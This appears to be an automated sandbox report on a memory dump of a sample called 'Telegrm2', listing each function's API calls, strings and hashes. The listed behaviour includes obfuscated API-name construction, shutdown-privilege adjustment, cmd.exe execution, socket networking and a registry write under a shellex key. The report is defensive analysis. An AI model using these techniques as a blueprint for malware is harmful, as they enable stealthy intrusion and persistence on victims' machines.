Opcode ID: baef0d21a70133c800a609b5e36475da66433e28057513d6e9ff1a68103c94ab
Instruction ID: b86b9d836d41d11b53b00d1b1e06d4ea8a34775f300f767194282ceb6d23dd94
Opcode Fuzzy Hash: baef0d21a70133c800a609b5e36475da66433e28057513d6e9ff1a68103c94ab
Instruction Fuzzy Hash: AD3125B2B00A41EEEB01CFA1E5953AC7B70F708B88F41851AEA0D1FB08DB35C649CB44

Function 0363E7CC Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0363E811
GetProcAddress.KERNEL32 ref: 0363E82D
RtlEncodePointer.NTDLL ref: 0363E83F
GetProcAddress.KERNEL32 ref: 0363E856
RtlEncodePointer.NTDLL ref: 0363E85F
GetProcAddress.KERNEL32 ref: 0363E876
RtlEncodePointer.NTDLL ref: 0363E87F
GetProcAddress.KERNEL32 ref: 0363E896
RtlEncodePointer.NTDLL ref: 0363E89F
GetProcAddress.KERNEL32 ref: 0363E8BE
RtlEncodePointer.NTDLL ref: 0363E8C7
RtlDecodePointer.NTDLL ref: 0363E8FA
RtlDecodePointer.NTDLL ref: 0363E90A
RtlDecodePointer.NTDLL ref: 0363E960
RtlDecodePointer.NTDLL ref: 0363E981
RtlDecodePointer.NTDLL ref: 0363E99B

Strings

USER32.DLL, xrefs: 0363E80A
GetLastActivePopup, xrefs: 0363E865
GetUserObjectInformationW, xrefs: 0363E885
GetActiveWindow, xrefs: 0363E845
GetProcessWindowStation, xrefs: 0363E8B4
MessageBoxW, xrefs: 0363E823

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2643518689-564504941
Opcode ID: 78733a723280b79d30972fe4ff2c31a78bcb32dd06fc01916637c1e789e259f5
Instruction ID: 92f07e22e78ccd3d2561138742ae2a622ec9fd7399d0c9a9bebed4fc46ada0cc
Opcode Fuzzy Hash: 78733a723280b79d30972fe4ff2c31a78bcb32dd06fc01916637c1e789e259f5
Instruction Fuzzy Hash: FE514125A02B4695EE57EB52F96432463A8BB4AFD0F489025EE4E43790FF3FC645C350

Function 03623160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 036231DA
GetProcAddress.KERNEL32 ref: 036231E7
LoadLibraryA.KERNEL32 ref: 0362321B
GetProcAddress.KERNEL32 ref: 03623228
LoadLibraryA.KERNEL32 ref: 03623243
GetProcAddress.KERNEL32 ref: 03623250

Strings

mber, xrefs: 03623206
Allo, xrefs: 036231AC
AndI, xrefs: 036231BA
ship, xrefs: 03623210
enMe, xrefs: 036231FF
Chec, xrefs: 036231F1
kTok, xrefs: 036231F8
eSid, xrefs: 036231CF
niti, xrefs: 036231C1
cate, xrefs: 036231B3
pi32, xrefs: 0362319A
Sid, xrefs: 0362323C
Free, xrefs: 03623232
Adva, xrefs: 03623193
aliz, xrefs: 036231C8
.dll, xrefs: 036231A1

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: a10cb70afc0b07e85a13c5b5798e7d0a25660b4aacf8d302e02d6ab0558fbdca
Instruction ID: 1aa2778cea484b3851b0547146d345f0f9e3fadd30d66f6fc7f8c48c6ba7fe52
Opcode Fuzzy Hash: a10cb70afc0b07e85a13c5b5798e7d0a25660b4aacf8d302e02d6ab0558fbdca
Instruction Fuzzy Hash: 2F4154B2A04B41EED710CFA1E49079D7BB4F758788F40411AEA4D5BF18DB7AC619CB44

Function 03622DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 03622DE1
GetProcAddress.KERNEL32 ref: 03622DF4
GetProcAddress.KERNEL32 ref: 03622E07
GetProcAddress.KERNEL32 ref: 03622E1A
LoadLibraryA.KERNEL32 ref: 03622E2A
GetProcAddress.KERNEL32 ref: 03622E3D
LoadLibraryA.KERNEL32 ref: 03622EA6
GetProcAddress.KERNEL32 ref: 03622EB6
CloseHandle.KERNEL32 ref: 03622ECC
FreeLibrary.KERNEL32 ref: 03622EDA
FreeLibrary.KERNEL32 ref: 03622EE8

Strings

ADVAPI32.dll, xrefs: 03622DD7
GetCurrentProcess, xrefs: 03622E30
AdjustTokenPrivileges, xrefs: 03622DFA
KERNEL32.dll, xrefs: 03622E9F
GetLastError, xrefs: 03622EAC
OpenProcessToken, xrefs: 03622DE7
SeShutdownPrivilege, xrefs: 03622E63
kernel32.dll, xrefs: 03622E20
LookupPrivilegeValueA, xrefs: 03622E0D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 165607f24522c167ce3a42d82dea4d50e4f112357a3fc8a7760195720a5d5025
Instruction ID: d86a2cf00c026f19dfbe42f678465c9aa07423c93cf55888727a6fc4fccb862d
Opcode Fuzzy Hash: 165607f24522c167ce3a42d82dea4d50e4f112357a3fc8a7760195720a5d5025
Instruction Fuzzy Hash: 4B31A331A11B05A1EB46EF62F8543997368F789FD0F448016EE8E43B24EE7EC649C700

Function 03623A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 036219A0: WSAStartup.WS2_32 ref: 03621A19
Part of subcall function 036219A0: CreateEventA.KERNEL32 ref: 03621A2A

GetTickCount64.KERNEL32 ref: 03623AEF

Part of subcall function 03621BF0: ResetEvent.KERNEL32 ref: 03621C2D
Part of subcall function 03621BF0: timeGetTime.WINMM ref: 03621C3F
Part of subcall function 03621BF0: socket.WS2_32 ref: 03621C66

Sleep.KERNEL32 ref: 03623B4B
GetTickCount64.KERNEL32 ref: 03623B57
setsockopt.WS2_32 ref: 03623BB7
CancelIo.KERNEL32 ref: 03623BC1
closesocket.WS2_32 ref: 03623BD2
SetEvent.KERNEL32 ref: 03623BDC
TerminateThread.KERNEL32 ref: 03623C03
WaitForSingleObject.KERNEL32 ref: 03623C13
CloseHandle.KERNEL32 ref: 03623C20
Sleep.KERNEL32 ref: 03623C2B
CloseHandle.KERNEL32 ref: 03623C47
GetTickCount64.KERNEL32 ref: 03623D40

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: f8340eaf799bdd7b914327c49caaa39ffdb0c5796265aafdfc99418af0f52de6
Instruction ID: 83a0ae6a175d30ad343facaa06e9970cd5a5af602b2a128108d7fa47f876ecb8
Opcode Fuzzy Hash: f8340eaf799bdd7b914327c49caaa39ffdb0c5796265aafdfc99418af0f52de6
Instruction Fuzzy Hash: 1B71C036600B809AEB22EF71DC5839C3775F785BA8F158215DA1E07BA8DF3AC649C700

Function 03641BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0364065C: RtlLookupFunctionEntry.KERNEL32 ref: 036406D0

__GetUnwindTryBlock.LIBCMT ref: 03641C34
__SetUnwindTryBlock.LIBCMT ref: 03641C5B

Part of subcall function 0363581C: RaiseException.KERNEL32 ref: 03635897

__GetUnwindTryBlock.LIBCMT ref: 03641C65
_getptd.LIBCMT ref: 03641CBB
_getptd.LIBCMT ref: 03641CCE
_getptd.LIBCMT ref: 03641CDA
_SetThrowImageBase.LIBCMT ref: 03641CEE
_getptd.LIBCMT ref: 03641D3E
_getptd.LIBCMT ref: 03641D51
_getptd.LIBCMT ref: 03641D5D
type_info::operator==.LIBCMT ref: 03641DC4
std::exception::exception.LIBCMT ref: 03641DFD
_getptd.LIBCMT ref: 03642030
std::exception::exception.LIBCMT ref: 036420A9

Strings

csm, xrefs: 03641E22
bad exception, xrefs: 03641DEA
csm, xrefs: 03641C7B
csm, xrefs: 03641D09

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: d6151ab0af39f61f0059ea009b49a01c921a8944d42449f52df1f21fc1264a95
Instruction ID: 993535bbb9fef6400f4c46cf2eaa5dfe5390a0d7a870d6f62e0a1a66b193a6a4
Opcode Fuzzy Hash: d6151ab0af39f61f0059ea009b49a01c921a8944d42449f52df1f21fc1264a95
Instruction Fuzzy Hash: 52D1E03AB007558ADB24DF62D2543AEB7A4F746B88F584529DF890BB04DF38C0A6C709

Function 03351588 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetUnwindTryBlock.LIBCMT ref: 033515EC
__SetUnwindTryBlock.LIBCMT ref: 03351613
__GetUnwindTryBlock.LIBCMT ref: 0335161D
_getptd.LIBCMT ref: 03351673
_getptd.LIBCMT ref: 03351686
_getptd.LIBCMT ref: 03351692
_SetThrowImageBase.LIBCMT ref: 033516A6
_getptd.LIBCMT ref: 033516F6
_getptd.LIBCMT ref: 03351709
_getptd.LIBCMT ref: 03351715
type_info::operator==.LIBCMT ref: 0335177C
std::exception::exception.LIBCMT ref: 033517B5
_getptd.LIBCMT ref: 033519E8
std::exception::exception.LIBCMT ref: 03351A61

Strings

csm, xrefs: 033517DA
csm, xrefs: 033516C1
csm, xrefs: 03351633

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseImageThrowtype_info::operator==
String ID: csm$csm$csm
API String ID: 3798665358-393685449
Opcode ID: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction ID: f9b9f5b022e7296c87671d550fc0981f7a303fd080b3ecd4cc2646b3b7d756a1
Opcode Fuzzy Hash: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction Fuzzy Hash: 52E1AF34E18B088BCF68EF68C8C5BA9B3E1FB58311F58066DEC4A97651DB35E445C782

Function 03622BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 03622BD6
GetProcAddress.KERNEL32 ref: 03622BEE
GetProcAddress.KERNEL32 ref: 03622C01
GetProcAddress.KERNEL32 ref: 03622C16
GetProcAddress.KERNEL32 ref: 03622C29
LoadLibraryA.KERNEL32 ref: 03622C39
GetProcAddress.KERNEL32 ref: 03622C51
FreeLibrary.KERNEL32 ref: 03622CA9
FreeLibrary.KERNEL32 ref: 03622CB7

Strings

GetThreadDesktop, xrefs: 03622BE4
CloseDesktop, xrefs: 03622C1F
GetUserObjectInformationA, xrefs: 03622BF7
SetThreadDesktop, xrefs: 03622C0C
kernel32.dll, xrefs: 03622C32
GetCurrentThreadId, xrefs: 03622C47
user32.dll, xrefs: 03622BCF

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: 33c63b4a697c432ab4baf3765d53eef1f5f0eb759a8eb94b011334321017c5fd
Instruction ID: 13890f58b6ec527cb859c60423b0a9c476c594c1c42c8350627025d5c77e08bd
Opcode Fuzzy Hash: 33c63b4a697c432ab4baf3765d53eef1f5f0eb759a8eb94b011334321017c5fd
Instruction Fuzzy Hash: 1F315831715B40A1EA92DB62FC643AA7768FB89FC0F408125DD4E47B24EF3AC645C740

Function 0363DAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0363DB08
_errno.LIBCMT ref: 0363DB0F
_invalid_parameter_noinfo.LIBCMT ref: 0363DB1A
__doserrno.LIBCMT ref: 0363DC65
CreateProcessA.KERNEL32 ref: 0363DCA7
GetLastError.KERNEL32 ref: 0363DCAF
free.LIBCMT ref: 0363DCBC
WaitForSingleObject.KERNEL32 ref: 0363DCE9
GetExitCodeProcess.KERNEL32 ref: 0363DCF7
CloseHandle.KERNEL32 ref: 0363DD11
CloseHandle.KERNEL32 ref: 0363DD21
_errno.LIBCMT ref: 0363DD2C

Strings

cmd.exe, xrefs: 0363DAC2

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: ef5ea7687e49302ea2b7fd48ed11daa860d9a9b0aa8502123ee9bb232d1ae630
Instruction ID: 74a66a4e3d9765e12f7cfc6026725918d21e11ea45fed6d8a563c4e4387ed426
Opcode Fuzzy Hash: ef5ea7687e49302ea2b7fd48ed11daa860d9a9b0aa8502123ee9bb232d1ae630
Instruction Fuzzy Hash: F1612476700B84D5EB21CF69E68036D7B79F746798F59821ACE6E07794DB79C109C300

Function 03636228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 03636280

Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BEC2
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BED4
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BEE6
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BEF8
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF0A
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF1C
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF2E
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF40
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF52
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF64
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF79
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BF8E
Part of subcall function 0363BEA4: free.LIBCMT ref: 0363BFA3

free.LIBCMT ref: 03636274

Part of subcall function 03633D28: HeapFree.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D3E
Part of subcall function 03633D28: _errno.LIBCMT ref: 03633D48
Part of subcall function 03633D28: GetLastError.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D50

free.LIBCMT ref: 03636296
__free_lconv_num.LIBCMT ref: 036362A2
free.LIBCMT ref: 036362AE
free.LIBCMT ref: 036362BA
free.LIBCMT ref: 036362DE
free.LIBCMT ref: 036362F2
free.LIBCMT ref: 03636301
free.LIBCMT ref: 0363630D
free.LIBCMT ref: 0363633A
free.LIBCMT ref: 03636362
free.LIBCMT ref: 0363637C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: b2d2d4bece2eeaf6d2573f594fbe6f78adb6da6f0e67812f6ecea8ebc4341646
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: 51314A3A602B84A4EF26EF62D6A03BC6364EB86B95F5C5439CA0D9B354CF78C091C315

Function 0362F690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 036338A4: GetSystemTimeAsFileTime.KERNEL32 ref: 036338B2

Part of subcall function 03634238: _getptd.LIBCMT ref: 03634240

rand.LIBCMT ref: 0362F6D0

Part of subcall function 03634250: _getptd.LIBCMT ref: 03634254

lstrlen.KERNEL32 ref: 0362F720
lstrlen.KERNEL32 ref: 0362F77A
lstrlen.KERNEL32 ref: 0362F7A0
RegOpenKeyExA.ADVAPI32 ref: 0362F82C
RegSetValueExA.ADVAPI32 ref: 0362F852
RegSetValueExA.ADVAPI32 ref: 0362F87F
RegCloseKey.ADVAPI32 ref: 0362F88A

Strings

lpKey, xrefs: 0362F862
SOFTWARE\Classes\*\shellex, xrefs: 0362F810
lpData, xrefs: 0362F83F

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: cc368ab5bd6020cbe0e87727897b27a0b4ddb0d0e6cd43977ad8c34ef4ca1ac2
Instruction ID: 51ee28f452cc5302a87adaa9a467b00dc3552d85a79af083c1e6dab38bad370d
Opcode Fuzzy Hash: cc368ab5bd6020cbe0e87727897b27a0b4ddb0d0e6cd43977ad8c34ef4ca1ac2
Instruction Fuzzy Hash: BA51E232729B8096DB11DF25F45035ABBA4F78AF84F449125EA8E4BB28DF3DC645CB04

Function 03350DC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03350DF4
_getptd.LIBCMT ref: 03350E08
_getptd.LIBCMT ref: 03350E42
_getptd.LIBCMT ref: 03350E4E
_getptd.LIBCMT ref: 03350E5A
_CreateFrameInfo.LIBCMT ref: 03350E6F

Part of subcall function 033504C0: _getptd.LIBCMT ref: 033504CC
Part of subcall function 033504C0: _getptd.LIBCMT ref: 033504DA
Part of subcall function 033504C0: _getptd.LIBCMT ref: 033504EE

_getptd.LIBCMT ref: 03350E8D
_getptd.LIBCMT ref: 03350F93
_getptd.LIBCMT ref: 03350F9F

Strings

csm, xrefs: 03350F53

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: a8ab38fbae8d51b3ebd813ca24fcafc3504f2e8f6f62661d32f27e45ec6d99b9
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: 00418170518B598FC7B8EF199485BB9B3E0FB58311F540A7EE48DC7611EB31A8528B82

Function 0364140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0364143C

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

_getptd.LIBCMT ref: 03641450
_getptd.LIBCMT ref: 0364148A
_getptd.LIBCMT ref: 03641496
_getptd.LIBCMT ref: 036414A2
_CreateFrameInfo.LIBCMT ref: 036414B7

Part of subcall function 03640B08: _getptd.LIBCMT ref: 03640B14
Part of subcall function 03640B08: _getptd.LIBCMT ref: 03640B22
Part of subcall function 03640B08: _getptd.LIBCMT ref: 03640B36

_getptd.LIBCMT ref: 036414D5
_getptd.LIBCMT ref: 036415DB
_getptd.LIBCMT ref: 036415E7

Strings

csm, xrefs: 0364159B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 244a85db2d8573592a1cd3665d242fcb675b74067b36fd20be9bf2c36766bf89
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: B0414A7A604B8582CB70DB12E5403AEB7B4F386BA5F554269DFAE0BB54DF38C0A5C704

Function 0363F5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0363F600
_invalid_parameter_noinfo.LIBCMT ref: 0363F60B
__wtomb_environ.LIBCMT ref: 0363F6ED
_errno.LIBCMT ref: 0363F6F6
free.LIBCMT ref: 0363F7E7
SetEnvironmentVariableA.KERNEL32 ref: 0363F918
_errno.LIBCMT ref: 0363F925
free.LIBCMT ref: 0363F933
free.LIBCMT ref: 0363F940
free.LIBCMT ref: 0363F967

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: f96776eeda2a319c30e12082793135241fee4331ba37ca691a2fed6c7a387d01
Instruction ID: 54e4ad893deaa5c6c157ad48f3cf8be696d21085ba806cb5b50447340ee8952c
Opcode Fuzzy Hash: f96776eeda2a319c30e12082793135241fee4331ba37ca691a2fed6c7a387d01
Instruction Fuzzy Hash: 77912B2AB02B4485EE15EB25BB1432AA7A8FF43BD8F1C8529DE594F7A4DF39C055C304

Function 03621AC0 Relevance: 16.6, APIs: 11, Instructions: 75sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 03621ADC
CloseHandle.KERNEL32 ref: 03621AEB
CloseHandle.KERNEL32 ref: 03621AFA
CloseHandle.KERNEL32 ref: 03621B0C
WSACleanup.WS2_32 ref: 03621B12
VirtualFree.KERNEL32 ref: 03621B29
VirtualFree.KERNEL32 ref: 03621B4D
VirtualFree.KERNEL32 ref: 03621B6F
VirtualFree.KERNEL32 ref: 03621B9C
VirtualFree.KERNEL32 ref: 03621BB7
VirtualFree.KERNEL32 ref: 03621BD2

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: 8502418f041257a98545f0f0d52803c79b25f825eb2bdf15b3e4ec8528f769ff
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: 41310836606F1092EB5ADFA6E950328A7B9FF8AF85F098115CD4E43B28DF3AC1548710

Function 03332F18 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 276COMMON

Download Yara Rule

APIs

_localtime64.LIBCMT ref: 03333134

Part of subcall function 033435D8: __getgmtimebuf.LIBCMT ref: 033435EA

Part of subcall function 03343620: _errno.LIBCMT ref: 03343658
Part of subcall function 03343620: _invalid_parameter_noinfo.LIBCMT ref: 03343664
Part of subcall function 03343620: _errno.LIBCMT ref: 033436D3

Strings

ameA, xrefs: 03332FF5
2, xrefs: 03332FD9
2, xrefs: 03332F84
GetU, xrefs: 03332FE1
serN, xrefs: 03332FEB
.dll, xrefs: 0333301A
Adva, xrefs: 03333006
pi32, xrefs: 03333010

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$__getgmtimebuf_invalid_parameter_noinfo_localtime64
String ID: .dll$2$2$Adva$GetU$ameA$pi32$serN
API String ID: 1626460918-1620219524
Opcode ID: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction ID: 479ab129324e42e33841a79f36ffc3d3e9966ed6f0b0b0d31496504868894251
Opcode Fuzzy Hash: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction Fuzzy Hash: AEA1D435518B888FD725EF28D888BEE77E1FB55310F50862AE44BCB1A0DF749A45CB81

Function 03622CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 03622D0C
GetProcAddress.KERNEL32 ref: 03622D24
GetProcAddress.KERNEL32 ref: 03622D37
GetProcAddress.KERNEL32 ref: 03622D47
FreeLibrary.KERNEL32 ref: 03622D85

